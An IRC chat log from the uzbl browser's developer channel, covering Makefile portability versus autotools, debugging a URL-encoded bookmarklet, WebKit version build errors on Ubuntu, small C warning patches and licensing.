16:51 < KlavKalashj> dxdx: isn't it possible to just make another makefile, that works on solaris, and have two versions?
16:51 < KlavKalashj> that's not very optimal though
16:51 < Zaba> one could then make a makefile that works with everything
16:51 < KlavKalashj> true :P
16:51 < Zaba> that would certainly be possible, but probably a bit ugly
16:52 < KlavKalashj> how does other projects do it?
16:52 < dxdx> autotools, but no thanks
16:52 < Zaba> one would have to execute the external commands in targets themselves, i.e., do $(CC) -DCOMMIT=`git -1 --pretty=format:'%H'` or something like that instead of executing that using make
16:52 < Zaba> autotools are redundant
16:52 < Zaba> this is not 1990
16:52 < Zaba> :P
16:53 < dxdx> autotools is redundant because it assumes you are going to compile it in a mainframe with system V
16:54 < dxdx> we could have a "configure" script as an alternate compilation method so they don't complain
16:55 < dxdx> but i don't believe anyone wants/knows how to write a decent one
16:56 < dxdx> our mighty leader Dieterbe doesn't like autotools, either
16:56 < Zaba> yeah, autoconf/make check for things that don't need checking (those defined by posix, or too old to exist these days) or they sometimes do plain wrong checks
16:56 < Zaba> brb
16:57 < psychon> KlavKalashj> how does other projects do it? <- if you want to require bsd make, one can do a lot of checks in make
16:57 < psychon> s/bsd/gnu/ -.-
16:57 < psychon> but if you want to support bsd make you need something like configure (yeah, I mixed it up, I know)
16:58 < psychon> Zaba: uhm, then just dont do that checks? Unless you do something stupid like using libtool (or partly also automake) you can skip a lot of checks
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17:02 < barrucadu> hi
17:03 < uranther> sup
17:03 < barrucadu> Well, I seem to have a painful blister on either foot; other than that everything's great :)
17:04 < uranther> interesting
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17:27 < dxdx> i did "git mv Makefile-new-test Makefile", will it replace the old Makefile or will it screw things up?
17:29 < holizz> What does git status say?
17:30 < dxdx> to be committed, renamed Makefile-new-test to Makefile; not updated modified Makefile
17:33 < holizz> It's probably fine.
17:40 < Dieterbe> evening lads
17:42 < barrucadu> hi
17:42 < holizz> Yo.
17:46 < Dieterbe> well, the new-test one didn't work for me
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17:51 < holizz> It didn't work for me either.
17:51 < dxdx> Dieterbe: there were a couple of silly errors and two missing libs
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17:53 < Dieterbe> dxdx: aha. well, if you can submit a patch i can consider using it 
17:54 < Dieterbe> if it works for me, that is ;)
17:54 < dxdx> http://github.com/dequis/uzbl/commit/dca2cb9ef9566618cf7c0ee16cdbe97b9034039f
17:54 < dxdx> but that commit diff kinda fails because it is against the old Makefile, not Makefile-new-test...
17:56 < dxdx> http://pastebin.ca/1457889
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17:58 < Dieterbe> hmm i just want a patch that fixes the brokenness in new-test, and brings it up to date (some changes have been made to the regular Makefile in the meanwhile). then i can compare both and (maybe) replace the old by the new
17:58 < dxdx> then read the pastebin one
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18:14 < tha> one java script bookmarklet keeps me from using uzbl. it works fine in midori and firefox. how do i figure out why this one doesnt work? (http://www.supergenpass.com)
18:16 < dxdx> tha: how are you using a bookmarklet in a browser without bookmarks support?
18:17 < dxdx> you should port it to a bind script
18:18 < tha> dxdx: i did "bind p = script /home/tha/bin/uzbl/sgp.js"
18:18 < tha> but nothing happens
18:18 < dxdx> nothing in the console?
18:19 < barrucadu> I get this in the console: console message: undefined @1153: TypeError: Result of expression 'document.getElementById('fs_gp2')' [null] is not an object.
18:19 < tha> console message: undefined @1: SyntaxError: Parse error
18:20 < dxdx> tha: how did you copy it?
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18:20 < tha> i copied the content of my bookmarklet (from firefox) to a new file - its all in one line
18:21 < barrucadu> tha: The site provides a JS file you can download
18:21 < tha> with cream
18:21 < barrucadu> http://www.supergenpass.com/js/sgp2_0.js
18:22 < Zaba> psychon, doesn't help it, majority of checks you might find useful are obsoleted by package management
18:22 < tha> but im using a customized version from http://supergenpass.com/customize/?advanced
18:22 < barrucadu> ah
18:22 < tha> is the otherone working?
18:22 < barrucadu> Nope
18:22 < barrucadu> But it has a different error
18:23 < dxdx> tha: there is a limit in the paste buffer size
18:23 < dxdx> i think you'll have to copy it in parts
18:23 < dxdx> also, holy shit there's a md5 implementation inside of that bookmarklet
18:23 < tha> dxdx: i already checked that
18:23 < tha> i copied the whole thing
18:24 < tha> dxdx: is that good or bad?
18:24 < dxdx> then do it all over again because you screwed something up :D
18:24 < dxdx> well.. it just makes it huge
18:25 < tha> barrucadu: the file you can download has a "(" infromt of javascript - the bookmarklet doesnt
18:27 < dxdx> holy shit there are even chinese translations in there
18:27 < tha> haha
18:39 < dxdx> [['name','gp2_retry'],['method','post'],['action','http://localhost:9/'],['autocomplete','off']],
18:39 < dxdx> i think the "source code" is not the same as the production version
18:43 < dxdx> tha: ok, found the problem, it was url-encoded (and it starts with javascript:, but that is obvious)
18:43 < dxdx> cat sgp.js | python -c 'import urllib, sys; print urllib.unquote(sys.stdin.read())' > sgp2.js
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19:53 < tha> dxdx: ohh shit! it works! NICE - thank you very much. could you please explain what you made me do?
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19:59 < dxdx> tha: http://www.uzbl.org/wiki/bookmarklets
19:59 < dxdx> just wrote it
20:08 < Dieterbe> supergenpass looks nice
20:11 < Dieterbe> just silly you need to enter your master pass all the time. i would prefer a solution like something with ssh-keys. you unlock it once for your session, and all your passwords work
20:12 < Dieterbe> hmmm it should be doable to create a script that queries your ssh-agent for an unlocked key and use that (or a hash of it) as master password
20:12 < Dieterbe> then you would make a bind that first does the script above, then the supergenpass
20:13 < uranther> would be cool
20:13 < uranther> i use Opera's "wand" all the time
20:13 < dxdx> but anyone with physical access could edit your uzbl config (?)
20:15 < dxdx> hm, wait, i don't get how do you pass the ssh-agent return value to supergenpass
20:16 < Dieterbe> i'm not sure yet how it would work either. but there must be a way to get a "secret" only when a specific key is unlocked in your agent
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20:18 < dxdx> hey, i've found that console.log works in webkit, and there is a signal to handle console messages in webkitwebview, so we could make some kind of internal protocol to get back messages from scripts
20:20 < dxdx> what do you think? too dirty? but i don't believe we'll get DOM bindings soon
20:20 < tha> Dieterbe: you can hardcode the masterpassword into SGP
20:20 < Dieterbe> dxdx: actually, that doesn't sound dirty at all to me. sounds pretty damn cool if you ask me
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20:21 < dxdx> great
20:22 < Dieterbe> tha: right. but then you have the master password in a file on disk. though one could encrypt that file i guess with gnupg or whatever
20:22 < dxdx> (i've seen some code that uses window.title or even alerts..)
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20:43 < dxdx> want to try something weird? type the following commands: bash, bash, bash, suspend, bg. then type anything
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20:54 < bct> haha, that's pretty weird
20:57 < uranther> dxdx, why would do such thing D:
21:02 < dxdx> uranther: i was trying to find a solution for this http://www.uzbl.org/bugs/index.php?do=details&task_id=34
21:02 < dxdx> btw, Dieterbe, read ^
21:02 < Dieterbe> do you mean enter those as commands in uzbl_?
21:03 < uranther> interesting
21:04 < dxdx> Dieterbe: those commands are just a bash bug when handling SIGCONT
21:04 < dxdx> or handling something..
21:06 < dxdx> the comment i've posted there, tl;dr: screw stdin, or add a "suspend" command to uzbl
21:06 < bct> does a stdin read need to block, or can we use e.g. select()?
21:07 < dxdx> i don't think that is possible without using things like ncurses
21:09 < dxdx> i've never understood clearly why, but everybody in google says using O_NONBLOCK is a bad idea
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21:13 < uranther> stack overflow doesn't say much about it
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22:14 < Dieterbe> good night dudes
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01:49 < evocallaghan> What version of GCC or other compiler are you guys using to build this?
01:49 < Morasique> i use 4.1.2
01:49 < evocallaghan> Do you get any warnings while building?
01:49 < Morasique> no
01:50 < evocallaghan> amazing
01:50 < Morasique> do you?
01:51 < evocallaghan> errors and warnings
01:51 < evocallaghan> Like in
01:51 < evocallaghan> static WebKitWebView*
01:51 < evocallaghan> create_inspector_cb (WebKitWebInspector* web_inspector, WebKitWebView* page, gpointer data){
01:51 < evocallaghan>     (void) data;
01:51 < evocallaghan>     (void) page;
01:51 < evocallaghan>     (void) web_inspector;
01:51 < evocallaghan> Should that not be a (void *) cast?
01:51 < evocallaghan> Infact, I am not sure what its doing there but have not looked over the rest of the code yet
01:52 < Morasique> i actually have no idea what those lines are for
01:52 < Morasique> i figured it was just some c-ism i've never come across
01:53 < evocallaghan> I am building by hand
01:53 < evocallaghan> http://pastebin.com/m120edee8
01:54 < evocallaghan> This is in a VM of ubuntu 9.04.
01:54 < evocallaghan> I figured I would use Linux for a first go trying to actually get this built.
01:56 < evocallaghan> $ cc --version | head -n 1
01:56 < evocallaghan> cc (Ubuntu 4.3.3-5ubuntu4) 4.3.3
01:56 < evocallaghan> $ which cc
01:56 < evocallaghan> /usr/bin/cc
01:56 < evocallaghan>  echo $PATH
01:56 < evocallaghan> /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games
01:57 < evocallaghan> Not sure if any of that will help you but ok
02:01 < Morasique> does the makefile not work for you?
02:02 < evocallaghan> No
02:02 < evocallaghan> and I really its got nothing to do with the Makefile that line should be clear
02:03 < Morasique> it works for me once i add a few defines (ARCH and COMMIT); i'm not sure what's different on your machine
02:05 < uranther> evocallaghan, in regards to the (void) page; and whatnot
02:05 < uranther> i'm pretty sure it's there for API consistency
02:05 < uranther> (void) will silence the warning GCC will throw for not using those variables
02:08 < uranther> evocallaghan, also, see this to compile on Ubuntu http://blog.duwanis.com/past/2009/5/17/installing_uzbl_on_ubuntubased_distros/
02:08 < evocallaghan> Thanks i saw that already
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02:12 < evocallaghan> Adding  -DARCH=i686 -DCOMMIT=foo does not avoid the issue and I don't see why it would any way :p
02:21 < Morasique> evocallaghan: no, i wouldn't expect it to, i was just letting you know that the command works on my machine, so there's nothing wrong with it. it must be something with one of the libs on your machine
02:23 < evocallaghan> fresh install of ubuntu 9.04 i386
02:23 < evocallaghan> fully updated today.
02:23 < evocallaghan> System looks good
02:24 < evocallaghan> I use a zfs snap shot of the VM so i can roll back to a fresh install whenever I start things like this. They look like code errors to me. I just find it stange no one else is hitting them
02:24 < evocallaghan> Morasique:Can you try to build todays git trunk?
02:25 < uranther> you still can't compile?
02:25 < evocallaghan> No, this is on ubuntu now
02:25 < uranther> yeah
02:25 < evocallaghan> Has anyone tried *todays* git ?
02:26 < uranther> nope
02:26 < Morasique> are you building experimental?
02:26 < Morasique> i think i have the normal branch checked out
02:26 < uranther> yeah master is oldd
02:26 < evocallaghan> I just checked in the source as per the docs
02:26  * evocallaghan shrugs
02:26 < Morasique> well, i just built both without problems
02:26 < uranther> that would be the master
02:26 < Morasique> i get one warning that i'm ignoring
02:26 < uranther> yeah they should build tho heh
02:27 < uranther> evocallaghan, post your errors again
02:28 < evocallaghan> (00:49:31) evocallaghan: I am building by hand
02:28 < evocallaghan> (00:49:31) evocallaghan: http://pastebin.com/m120edee8
02:28 < uranther> you're obviously building with an old version of webkit
02:28 < uranther> did you get the newest as per the guide on that blog?
02:29 < Morasique> evocallaghan: pkg-config --modversion webkit-1.0
02:30 < uranther> wait
02:30 < uranther> you're not using make?
02:30 < uranther> no wonder..
02:30 < Morasique> uranther: i can use his command to build though
02:30 < Morasique> at least the one object file
02:30 < uranther> oh
02:30 < uranther> alright back to my old idea
02:30 < uranther> :P
02:30 < Morasique> he said he's got the newest everything, but maybe not
02:31 < evocallaghan> $ pkg-config --modversion webkit-1.0
02:31 < evocallaghan> 1.0.1
02:31 < uranther> too old
02:31 < evocallaghan> Ah
02:31 < evocallaghan> I bet APT got mixed up
02:31 < uranther> ive got 1.1.8 from the repo
02:32 < uranther> webkit's repo
02:32 < Morasique> are you sure? apt has nothing to do with the pkg-config check
02:32 < Morasique> if pkg-config says 1.0.1 that's probably what you have
02:37 < evocallaghan> I mean APT prob screwed up wich repo it was fetch from when I told it too install
02:37 < Morasique> ah
02:37 < uranther> evocallaghan, if you get webkit from ubuntu's repo it's 1.0.1
02:38 < Morasique> wow. they should update that
02:39 < uranther> :S
02:41 < evocallaghan> Got that fixed up thanks
03:00 < Morasique> who was talking about rebasing instead of merging earlier? this just came up on proggit that might be relevant: http://www.mail-archive.com/dri-devel@lists.sourceforge.net/msg39091.html
03:09 < uranther> yeah i saw that lol
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09:49 < Dieterbe> morning dudes
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10:05 < tha> morning
10:09 < DuClare> Morning
10:10 < tha> i have a stupid problem - i very often forget to press 'i' before i'starting to type. this is generaly no problem - except the case that i want to type in some password and its visible for all audience. is it possible to tell uzbl to automaticly switch to insert-mode whenever i select a password filed?
10:11 < DuClare> Not yet
10:13 < DuClare> Dieterbe, rob| mentioned the X11 keysym stuff, but did he (or somebody else) start working on it yet?
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10:21 < Dieterbe> DuClare: i don't think so
10:21 < Dieterbe> DuClare: rob left soon after (he'll be back monday or so)
10:22 < Dieterbe> tha: a better solution would be coming up with a good password manager
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10:29 < DuClare> Ah, right
10:29 < tha> i dont like password managers. i guess i just have to get used to pressing 'i' before typing passwords ;D
10:30 < Dieterbe> tha: well right now you are using a password manager, your brain.  and one thing about software is that it is better and much more efficient in remembering and reproducing data then the human brain
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10:33 < tha> almost all of my data is beeing controlled by my computer... the few passwords left i can handle easily
10:33 < tha> but anyways not at all what i was asking for
10:35 < Dieterbe> out of the box thinking and looking at the bigger picture is what uzbl is all about :)
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11:10 < holizz> Google: g_object_get_property ... did you mean: g_object_set_property ?
11:11 < Dieterbe> :P
11:11 < Dieterbe> i wonder when it will stop saying "did you mean usbl" :)
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12:23 < tha> refering to http://www.uzbl.org/wiki/bookmarklets i wrote a bookmarklet-converter script http://gist.github.com/129187 - im wondering how to make a working binding right away
12:25 < Dieterbe> ugh
12:26 < Dieterbe> you probably want to do something like this: bind foo = spawn /path/to/convertscript /path/to/bookmarklet
12:27 < Dieterbe> and let the convertscript do the conversion and write the resulting JS into the pipe
12:27 < Dieterbe> uzbl's pipe that is
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13:23 < tha> but like that its not possible to give the bookmarklet its own name (and store it somewhere)
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13:48 < Dieterbe> yeah sure
13:48 < Dieterbe> isn't that the point?
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14:29 < tha> yes indeed
14:29 < evocallaghan> Good afternoon
14:29 < tha> hi
14:29 < evocallaghan> :)
14:30 < evocallaghan> Dieterbe:That you get that PM of that tiny patch
14:30 < Dieterbe> tha: ah now i get you. with my suggested approach it _is_ possible to store bookmarklets ("pure", unchanged) on disk, and yust alter them at runtime
14:31 < Dieterbe> evocallaghan: hmm not sure
14:31 < evocallaghan> http://pastebin.com/m90b0519
14:32 < evocallaghan> source/uzbl.c: In function ‘build_stream_name’:
14:32 < evocallaghan> source/uzbl.c:1629: warning: ‘str’ may be used uninitialised in this function
14:32 < evocallaghan> was the warning.
14:32 < Dieterbe> ah. that's tiny indeed :P
14:32 < evocallaghan> hehe
14:33 < Dieterbe> i'll apply
14:33 < evocallaghan> source/uzbl.c:616: warning: ISO C forbids initialisation between function pointer and ‘void *’
14:33 < evocallaghan> turn on -pedantic
14:33 < evocallaghan> cheers
14:37 < Dieterbe> dieter@dieter-ws-a7n8x-arch uzbl [experimental] git commit AUTHORS uzbl.c -m 'tiny patch' --author='evocallaghan'
14:37 < Dieterbe> fatal: No existing author found with 'evocallaghan'
14:37 < Dieterbe> :(
14:37 < Dieterbe> evocallaghan: i think i'm gonna need your email adress
14:37 < Dieterbe> maybe that will make git happy
14:42 < evocallaghan> hey
14:42 < evocallaghan> @auroraux.org
14:43 < Dieterbe> and the username?
14:43 < evocallaghan> you already have it ;)
14:43  * evocallaghan .
14:43 < Dieterbe> k
14:44 < evocallaghan> checkout monotone version control btw
14:44 < evocallaghan> git is umm odd
14:44 < Zaba> no, git is better
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14:44 < github> uzbl: evocallaghan experimental SHA1-c3acacf
14:44 < github> tiny patch
14:44 < github> http://bit.ly/4Y3Gr
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14:45 < evocallaghan> Right, I am doing a configure script and Jam file for you quickly.
14:45 < Zaba> die in a fire :P
14:46 < mxey> Why do you try to sell us worse solutions than we already have? You working for Mozilla?
14:46 < mxey> Monotone instead of Git, Autoconf instead of simple Makefiles..
14:46 < Zaba> mxey, rather, opera
14:46 < mxey> Why is that?
14:46 < mxey> Mozilla Corp exists.
14:46 < Zaba> I don't know, they sound even sneakier than mozilla.
14:47 < mxey> Their browser does suck much less, though.
14:47 < Zaba> It's hard to suck more than, or even as much as, firefox.
14:49 < Dieterbe> mxey: well, our current make setup isn't ideal. many people are having problems building uzbl on other distros/platforms. we don't even have a configure script
14:49 < Dieterbe> so i'ld like to solve that
14:50 < mxey> We don't even have a configure script? You say that as if it was a problem.
14:50 < mxey> What is the nature of such problems?
14:50 < Dieterbe> many people are having problems building uzbl on other distros/platforms
14:50 < mxey> You said that already, I was asking for details.
14:51 < Zaba> Dieterbe, when there's a release, there will be packages, and idiots won't have to build
14:51 < mxey> Are there problems different than not being able to install because they did not install the libs that are listed as required in the README?
14:51 < Dieterbe> there are always use cases for building from source. no matter which platforms
14:52 < mxey> And if you are building from source, you should know how to.
14:52 < ds187> hey, i am an idiot (when it comes to compiling and stuff) and i managed to build uzbl :-)
14:52 < Zaba> Dieterbe, then one building from the source should read relevant documentation and prepare the environment.  That's not something every project's build system should do, or even check for.
14:52 < mxey> configure is a pain for anyone trying to fix something in the build.
14:52 < mxey> You have to dig through a shitload of generated Makefiles.
14:52 < Zaba> Dieterbe, just because every bloody project has a complicated build system, it doesn't mean it's bloody right.
14:53 < mxey> I am having a lot of "fun" (pain) with software using autoconf while working on my ports system.
14:53 < Zaba> Dieterbe, it more likely means that it's hype and is horribly wrong, which is the case.
14:53 < Dieterbe> TBH i don't know what's right and what is wrong in this case
14:53 < Zaba> Dieterbe, right thing is a build system that builds a program.
14:53 < mxey> Dieterbe: OK, what do you hope Autoconf will provide for us?
14:53 < Zaba> There is package management.  If you don't have it and don't know your way around, you have other problems.
14:54 < Dieterbe> this has nothing to do with package management
14:54 < Zaba> Package management does the useful part of configure checks.
14:54 < Dieterbe> like i said, there are always use cases to build from source
14:54 < Zaba> Dieterbe, yes, and?
14:54 < Dieterbe> and, i'm wondering what the correct way is, to best support building from source
14:55 < Zaba> a README file listing dependencies.
14:55 < Zaba> if one dismisses it, they should not use uzbl.
14:55 < mxey> Dieterbe: Well, what exactly are you hoping to have and how do you think autoconf would help?
14:55 < mxey> Let's work this out.
14:56 < Dieterbe> mxey: i _think_ a system such as autoconf/cmake/jam/whatever will make building from source less painfull. but at the same time i acknowlegde it also causes more overhead (and/or additional deps)
14:56 < Zaba> Dieterbe, no, it will not make building from source less painful.
14:57 < Zaba> Dieterbe, it will do two things, if we take cmake or autoconf: Make building slower and make errors about missing deps colorful.
14:57 < Zaba> Neither of which is worth the effort.
14:57 < mxey> Dieterbe: It might make it easier for the casual user, but uzbl is not for the casual user. On the other hand, when the build fails, you have a much harder time digging around in a complicated system.
14:57 < Zaba> Especially since linker errors usually tell you what library is missing anyway
14:58 < mxey> uzbl is for users that are able to write shell scripts, users that are working on their system. They should be able to build software by hand our current way.
14:58 < Zaba> and if they're not, we don't need such annoyance in #uzbl screaming for features.
14:58 < mxey> If we turn away a few users running after the uzbl hype, we do not lose much. They would only want us to make it like Firefox anyway.
14:58 < Dieterbe> well, you guys arguments seem reasonable but i cannot make this decision myself, i will make a thread on the ML so that more people can cast their opinion
14:58 < Zaba> hell no, those people on ML we can't control
14:58 < Zaba> mxey, time for plan B!
14:58 < Dieterbe> :)
14:59 < Zaba> plan 9*
14:59 < mxey> Zaba and me are not on the ML, so please be sure to include our opinion in your post ;)
14:59 < Zaba> Also make it look like it's been the whole channel booing build systems that ain't what we have now
15:00 < mxey> I think we are more reasonable than 'booing' :)
15:00 < Zaba> well, yes
15:01 < tha> about making it like firefox... its not possible to make ctrl+something binds, is it?
15:02 < mxey> It is possible, but not very cozy.
15:02 < mxey> You can insert the control characters into your config file with ^V in Vim.
15:04 < mxey> Although there should be a better way.
15:05 < Dieterbe> what's wrong with this way?
15:05 < Zaba> it's kinda ugly
15:06 < Dieterbe> how more zen can it be?
15:07 < Dieterbe> i think ^foo is the beatifullest way to express control + foo
15:07 < Zaba> it is
15:07 < mxey> Dieterbe: Probably right, but it makes it harder for new users!!11
15:07 < mxey> ;)
15:08 < mxey> Well, I have no problem with this approach. Uncommon does not mean bad.
15:28 < evocallaghan> Dieterbe: http://pastebin.com/m7a55df36
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15:30 < Zaba> evocallaghan, eww C++ comments
15:31 < evocallaghan> That removes C++ comments as its not C++ :)
15:31 < Zaba> no
15:31 < Zaba> /* */ is C comments, // is C++ comments
15:31 < evocallaghan> Look at the patch again
15:31 < Zaba> oh right
15:32 < Zaba> hah, and now I'm supposed to know source/uzbl.c is not your git clone...
15:32 < Zaba> evocallaghan, how does it matter whether you write usage to stderr or stdout, anyway?
15:32 < evocallaghan> This is Unix, we do things properly. That is why there are three streams
15:35 < Zaba> I wish everyone did things properly.  Things like manpages, too.
15:35 < Dieterbe> Zaba: well usually the '+'in a patch means what is new, and '-' what gets removed
15:35 < Zaba> Dieterbe, I know.  But you can swap old and new on diff command line and get everything reversed!
15:39 < Dieterbe> pastebin.php?dl=m7a55df36:8: trailing whitespace.
15:39 < Dieterbe>     GOptionContext* context = g_option_context_new ("- utility for controlling and interacting with uzbl through its socket file"); /* TODO: get stuff back from uzbl */
15:39 < Dieterbe> pastebin.php?dl=m7a55df36:17: trailing whitespace.
15:39 < Dieterbe>         fprintf(stderr, "Usage: uzblctrl -s /path/to/socket -c \"command\"");
15:39 < Dieterbe> error: patch failed: uzblctrl.c:31
15:39 < Dieterbe> error: uzblctrl.c: patch does not apply
15:39 < Dieterbe> evocallaghan: 
15:39 < evocallaghan> maybe something changed in the file over the last 24h ?
15:40 < Dieterbe> maybe. i'll apply manually
15:40 < Dieterbe> your patch is against experimental right?
15:41 < evocallaghan> yep
15:41 < evocallaghan> $ md5sum uzblctrl.c
15:41 < evocallaghan> f27f600d3276790b7989f3aede305016  uzblctrl.c
15:41 < evocallaghan> 1sec, got to make a quick switch back to working on llvm
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16:13 < evocallaghan> Dieterbe: "source/uzbl.c:1283: warning: ISO C forbids comparison of ‘void *’ with function pointer"
16:13 < evocallaghan> There is no guarantee that a function pointer can fit inside a (void *) without truncating it.
16:21 < evocallaghan> These are all the points http://pastebin.com/m4002e324
16:22 < evocallaghan> Dieterbe:Without fully understand your code. What does NOSPLIT try to do here?
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16:30 < Dieterbe> evocallaghan: not sure. i didn't write that code btw. maybe DuClare knows
16:33 < evocallaghan> Right o
16:34 < DuClare> evocallaghan, Nosplit tells .. not to splice the string into an argument vector
16:37 < evocallaghan> Ah ok
16:37 < evocallaghan> Well, would you mind having a look at that warning please, you know your code better then I do :)
16:38 < evocallaghan> Dieterbe: I moved the source into "source/" and includes into "includes/" btw; http://pastebin.com/m1798d4bb
16:42 < mxey> What is the point of splitting *three* files into directories?
16:44 < DuClare> What is the point of splitting source files and headers into directories? :)
16:50 < evocallaghan> I though this project is young ?
16:50 < evocallaghan> Your code base could and prob will grow, best to keep things tidy from the start
16:51 < mxey> There is no problem in seperating files later on.
16:52 < mxey> At least it is for simple Makefiles. Is it more complicated with the complicated build systems you propose?
16:55 < mxey> evocallaghan: I don't know your target, but it looks you are changing things for no good reason to me ;)
17:02 < Dieterbe> i also agree that making separate directories for src, headers etc is not needed at this point
17:02 < Dieterbe> (and hopefully it will never be needed. the simpler/smaller the code the better ;)
17:04 < mxey> ack
17:15 < evocallaghan> Dieterbe:Don't apply it then, I'm only doing it here. Can you apply the other changes please.
17:22 < Dieterbe> evocallaghan: which others?
17:23 < evocallaghan> http://pastebin.com/m1798d4bb in the,
17:34 < evocallaghan> Dieterbe: Here is a no where near done Jamfile and configure script, tested on ubuntu and solaris at the moment. I am sure it could be done a lot better then that; http://pastebin.com/m6a351eab I will try to find some time to come back here and do some proper work although at least this is something for you to toy with.
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17:40 < evocallaghan> Dieterbe: Its hard coded for GCC at the moment, but that needs fixing, however I will fix it later for Sun Studio and the Intel compiler. I have SPARC, Power, PPC and MIPS boxes here with many different OS's so I can make sure it builds across them.
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17:51 < evocallaghan> oh and `jam` `jam -n` `jam clean` maybe of interest to you.
18:08 < Zaba> yeah as if
18:09 < Zaba> evocallaghan, if you don't understand the word "needless complication," how about "unneeded rubbish"?
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18:33 < evocallaghan> Pfff
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20:34 < grncdr> how does mouse interaction work with uzbl? does it just pass mouse events to webkit or?
20:35 < grncdr> I would really like to implement a pan-mode for using uzbl on tablets
20:35 < dxdx> just pass mouse events to webkit, as with any gtk widget
20:36 < grncdr> so would what I want be more appropiately acheived by patching against webkit?
20:37 < dxdx> probably, how does the tablet pass the input data?
20:37 < Dieterbe> hey dxdx , i tried applying your Makefile-test-new patch the other day but it didn't work (the one you've put on pastebin)
20:37 < dxdx> Dieterbe: didn't compile or didn't apply?
20:38 < grncdr> dxdx: as mouse and/or xinput events via an X driver
20:38 < Dieterbe> dxdx: hmm wait, i think i seem to recall your patch introduced some new flags which are not in the regular Makefile
20:38 < Dieterbe> dxdx: something with threads
20:39 < Dieterbe> grncdr: what's a pan mode? what are you really trying to do?
20:39 < grncdr> Dieterbe: firefox grab'n'drag
20:39 < dxdx> Dieterbe: oh, there was a single -lgthread or something, so i added it to pkg-config LIBS
20:39 < grncdr> (or kinetic scrolling in evince)
20:39 < dxdx> hmm, isn't that grab and drag patented by microsoft or something?
20:39 < Zaba> so's page up/down for scrolling
20:39 < dxdx> i believe there was a reason it was implemented in windows but not in linux
20:39 < Zaba> not that anyone cares
20:40 < grncdr> dxdx: grab'n'drag? it's an extension for firefox
20:40 < grncdr> works great under linux
20:41 < dxdx> grncdr: oh, we're talking about different stuff. i meant middle click in some spot, a circle with arrows appears, and move mouse
20:41 < grncdr> oh yeah, that's autoscroll, and it sucks
20:41 < grncdr> ;)
20:42 < Dieterbe> what's this grab and drag thing then?
20:42 < grncdr> when you click a spot and drag, and everything scrolls so that what's under the cursor stays under the cursor
20:43 < dxdx> oh, like evince
20:43 < dxdx> heh
20:43 < grncdr> exactly
20:43 < grncdr> in image editors they call it panning
20:43 < Dieterbe> ah
20:43 < grncdr> it makes surfing in tablet mode 100x better
20:43 < dxdx> hmm, that would belong in... gtk ScrolledWindow
20:43 < Dieterbe> yeah, makes sense now
20:44 < dxdx> but there is no ScrolledWindow in webkit, so there's their gtk viewport
20:45 < dxdx> but i don't think they'll accept something that specific
20:46 < Dieterbe> evocallaghan: if you put "all rights reserved" in your code. doesn't that mean i'm not allowed to edit/redistribute/... it?
20:46 < grncdr> hmm, well, that was why I was curious about whether uzbl would let me hook into mouse events and change what gets passed to webkit
20:46 < dxdx> well, it is not exactly easy to implement in the uzbl side, so i'd ask them first
20:46 < grncdr> kk
20:47 < dxdx> there's the "event" signal in gtk that allows you to hook on anything (low level), but scrolling nicely is the hard part
20:47 < Dieterbe> otoh if evince does this, and probably some other apps there should be a relatively clean way to do it i guess
20:49 < dxdx> Dieterbe: evince may have customized their widget/viewport/scrolledwindow
20:50 < dxdx> (but why not check how did they do it)
20:51  * dxdx loves yaourt -G evince && makepkg -o
20:52 < grncdr> yeah I've actually got the evince source open already, because I was patching it to have kinetic scrolling be the default for button 1
20:53 < Dieterbe> dxdx: sweet i did not know -G. no more need to abs for me :P
20:59 < dxdx> grncdr: disregard what i said about "scrolling nicely is the hard part"
20:59 < dxdx> i forgot how nice adjustments are
21:00 < grncdr> dxdx: I missed what you said about scrolling nicely being the hard part
21:01 < evocallaghan> Dieterbe:No, that just means I wrote it originally, you may apply whatever license your using here. I normally use BSD but whatever, its your project :)
21:01 < dxdx> grncdr: great (?)
21:01 < dxdx> evocallaghan: actually you have reserved the right to apply a license, too, so you are the one that must do it
21:01 < evocallaghan> Dieterbe:To be fair I don't really care, its yours to use, maybe credit me somewhere hehe :)
21:02 < grncdr> sorry I mean I decided to see how well /upgrade works in irssi at that moment
21:03 < evocallaghan> Dieterbe:OK, going out to dinner, you may apply whatever license you like.
21:03 < dxdx> grncdr: as long as you have disregarded that as i said, everybody will be happy
21:03 < grncdr> :D
21:03 < uranther> D:
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21:04 < evocallaghan> btw, are you guys using GPL or BSD or.. ?
21:04  * evocallaghan checks site quickly
21:05 < dxdx> grncdr: i mean, you can implement it in either webkit or uzbl, it's just connecting signals. BUT that doesn't guarantee that anyone will accept that patch because it is tablet-specific
21:05 < dxdx> the feature is nice but everybody is a dick when it comes to apply patches
21:05  * dxdx hides
21:06 < grncdr> heh
21:06 < grncdr> well I wouldn't submit it as a patch until I can do it in such a way that it doesn't happen by default
21:07 < uranther> evocallaghan, GPLv3
21:07 < dxdx> if you submit it to webkit, the best way is a compilation flag
21:07 < grncdr> ideally, the only patch I would submit to uzbl would be to allow the definition of a custom event handler
21:07 < dxdx> wait, what would handle it?
21:08 < grncdr> that's the problem with that idea ;)
21:08 < grncdr> external script would *probably* not work very well
21:08 < dxdx> lol
21:08 < dxdx> worse than cookies
21:09 < Dieterbe> dxdx: BUT that doesn't guarantee that anyone will accept that patch because it is tablet-specific <-- really ? seems like this stuff has a use case with normal pc's too (eg evince)
21:09 < uranther> who would use uzbl with a tablet
21:10  * grncdr would
21:10 < dxdx> Dieterbe: well, web browsers use middle click to open links in new tab. that's what i would say if i wanted to reject that patch :P
21:10 < grncdr> of course, I'm the only person I know who uses tiling wm's on a tablet as well
21:10 < uranther> that's pretty insane :/
21:11 < grncdr> actually I find it awesome (no pun intended)
21:11 < dxdx> a friend of mine wants to install arch linux, awesome, and uzbl in his nokia n810 (debian and maemo)
21:11 < uranther> :O
21:11 < grncdr> dxdx that sounds good to me
21:11 < dxdx> sounds like the pun wasn't intended either (?)
21:12 < evocallaghan> Anyone good with x86 asm? http://pastebin.com/m8290d50
21:12 < evocallaghan> :|
21:13  * grncdr hides
21:13 < evocallaghan> it looks like malloc_unlocked is a leaf routine which is attempting to fetch some data from the parent's stack slot and that slot contains 'zero'.. which malloc_unlocked isn't expecting.
21:13  * dxdx hides too
21:32  * dxdx looks outside to check if ASM is still there
21:32 < dxdx> hey, which is the modkey for ctrl? i tried Mod2, Mod3 and failed
21:33 < dxdx> disregard that, i suck modkeys[]
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21:41 < dxdx> oh, Dieterbe: i think i have the solution to the stdin problems. instead of reading it as default, read it only if config file is "-", as in uzbl -c-
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23:00 < kTT> hey guys, has anybody idea about uzbl instance management in dwm?
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03:24 < tbo> might be a weird question but what does the number 12582946 in the window title mean?
